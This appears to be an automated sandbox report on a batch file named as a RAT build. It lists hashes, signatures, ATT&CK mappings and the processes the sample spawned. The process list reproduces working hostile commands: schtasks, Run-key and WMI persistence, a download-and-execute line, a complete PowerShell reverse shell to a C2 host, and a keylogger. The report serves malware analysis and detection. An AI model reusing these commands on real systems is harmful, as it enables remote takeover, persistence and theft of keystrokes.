Analysis
- max time kernel
149s - max time network
154s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
29/05/2026, 22:52
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_79242_014248.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_79242_014248.bat
Resource
win11-20260513-en
General
- Target rat_build_79242_014248.bat
- Size 4KB
- Sample260529-2tfd7adv9p
- SHA256 c55c153f14027fe2b51193c6535a92ea482a6896b30e197aab465d640288e045
- MD5 3e24da77bb9ac31992b9a11e97f20a2b
- SHA1 4a260347ecd98530345e98705505fd8a66b8f70e
- SHA512 05db751be755e4b794b3737542d8bc4905aad70e0d0e8020b5a3cd2470046c799a4cc09b10c53cd5b0efc70fc904fe7d1728f2fe39596d99f30d1be1e21ab4f6
- SSDEEP 96:l9ICCWGwkdx1aDB7Jj/zvlV9Is9N/s71yCcOgrGQiFgZk8mvlo1Uy/:l97GwkP1aDlJjpRucOSiFgkHlzy/
- TLSH T1F4A10823579B65649AF02909CA333898135CC6FB1300CA8DEB4A8CC46D0DF83E57D6E7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_79242.ps1
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 2424 powershell.exe 4012 powershell.exe 1384 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_79242 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_79242.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 3200 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2432 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 3380 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5000 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4012 powershell.exe 4012 powershell.exe 1384 powershell.exe 1384 powershell.exe 2424 powershell.exe 2424 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 2532 WMIC.exe Token: SeSecurityPrivilege 2532 WMIC.exe Token: SeTakeOwnershipPrivilege 2532 WMIC.exe Token: SeLoadDriverPrivilege 2532 WMIC.exe Token: SeSystemProfilePrivilege 2532 WMIC.exe Token: SeSystemtimePrivilege 2532 WMIC.exe Token: SeProfSingleProcessPrivilege 2532 WMIC.exe Token: SeIncBasePriorityPrivilege 2532 WMIC.exe Token: SeCreatePagefilePrivilege 2532 WMIC.exe Token: SeBackupPrivilege 2532 WMIC.exe Token: SeRestorePrivilege 2532 WMIC.exe Token: SeShutdownPrivilege 2532 WMIC.exe Token: SeDebugPrivilege 2532 WMIC.exe Token: SeSystemEnvironmentPrivilege 2532 WMIC.exe Token: SeRemoteShutdownPrivilege 2532 WMIC.exe Token: SeUndockPrivilege 2532 WMIC.exe Token: SeManageVolumePrivilege 2532 WMIC.exe Token: 33 2532 WMIC.exe Token: 34 2532 WMIC.exe Token: 35 2532 WMIC.exe Token: 36 2532 WMIC.exe Token: SeIncreaseQuotaPrivilege 2532 WMIC.exe Token: SeSecurityPrivilege 2532 WMIC.exe Token: SeTakeOwnershipPrivilege 2532 WMIC.exe Token: SeLoadDriverPrivilege 2532 WMIC.exe Token: SeSystemProfilePrivilege 2532 WMIC.exe Token: SeSystemtimePrivilege 2532 WMIC.exe Token: SeProfSingleProcessPrivilege 2532 WMIC.exe Token: SeIncBasePriorityPrivilege 2532 WMIC.exe Token: SeCreatePagefilePrivilege 2532 WMIC.exe Token: SeBackupPrivilege 2532 WMIC.exe Token: SeRestorePrivilege 2532 WMIC.exe Token: SeShutdownPrivilege 2532 WMIC.exe Token: SeDebugPrivilege 2532 WMIC.exe Token: SeSystemEnvironmentPrivilege 2532 WMIC.exe Token: SeRemoteShutdownPrivilege 2532 WMIC.exe Token: SeUndockPrivilege 2532 WMIC.exe Token: SeManageVolumePrivilege 2532 WMIC.exe Token: 33 2532 WMIC.exe Token: 34 2532 WMIC.exe Token: 35 2532 WMIC.exe Token: 36 2532 WMIC.exe Token: SeIncreaseQuotaPrivilege 4088 WMIC.exe Token: SeSecurityPrivilege 4088 WMIC.exe Token: SeTakeOwnershipPrivilege 4088 WMIC.exe Token: SeLoadDriverPrivilege 4088 WMIC.exe Token: SeSystemProfilePrivilege 4088 WMIC.exe Token: SeSystemtimePrivilege 4088 WMIC.exe Token: SeProfSingleProcessPrivilege 4088 WMIC.exe Token: SeIncBasePriorityPrivilege 4088 WMIC.exe Token: SeCreatePagefilePrivilege 4088 WMIC.exe Token: SeBackupPrivilege 4088 WMIC.exe Token: SeRestorePrivilege 4088 WMIC.exe Token: SeShutdownPrivilege 4088 WMIC.exe Token: SeDebugPrivilege 4088 WMIC.exe Token: SeSystemEnvironmentPrivilege 4088 WMIC.exe Token: SeRemoteShutdownPrivilege 4088 WMIC.exe Token: SeUndockPrivilege 4088 WMIC.exe Token: SeManageVolumePrivilege 4088 WMIC.exe Token: 33 4088 WMIC.exe Token: 34 4088 WMIC.exe Token: 35 4088 WMIC.exe Token: 36 4088 WMIC.exe Token: SeIncreaseQuotaPrivilege 4088 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4712 wrote to memory of 5000 4712 cmd.exe 82 PID 4712 wrote to memory of 3380 4712 cmd.exe 83 PID 4712 wrote to memory of 2532 4712 cmd.exe 84 PID 4712 wrote to memory of 4088 4712 cmd.exe 85 PID 4712 wrote to memory of 3604 4712 cmd.exe 86 PID 4712 wrote to memory of 2432 4712 cmd.exe 88 PID 4712 wrote to memory of 3200 4712 cmd.exe 92 PID 4712 wrote to memory of 4012 4712 cmd.exe 93 PID 4712 wrote to memory of 1384 4712 cmd.exe 94 PID 4712 wrote to memory of 2424 4712 cmd.exe 95 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_79242_014248.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4712 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_79242" /tr "C:\Users\Admin\AppData\Local\Temp\_79242.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5000
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_79242" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_79242.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:3380
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_79242", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2532
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-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_79242", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_79242.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4088
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_79242.txt2⤵PID:3604
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:2432
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:3200
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_79242.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4012
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1384
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2424
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- TLSH T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 3e9dfdec2a1c817075bdfd2a8050630c7f8404f82e84a4374e80f124e102d49d
- MD5 7a9772bc4c578c1736aa04a056f68da3
- SHA1 7bb32e69db056bc9ab222ef4ef45de588b2a8efd
- SHA512 2d4516747b14356725004ec2c227f56d3e2eae475d58e3fdd5b2b3dbef7382def984eb89584f11359a08d5b8ac3dc5a83fff1d9829a775ebbbcc97315265dd97
- TLSH T190115333B79CC135C8A9117A1089AD01B2B5C3CB04AEDE8B6A84C508E57F98ADBA41E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
- MD5 8a9ce637f47cb4acdbef782b0c075292
- SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
- SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
- TLSH T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wl0s2gkb.5vm.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH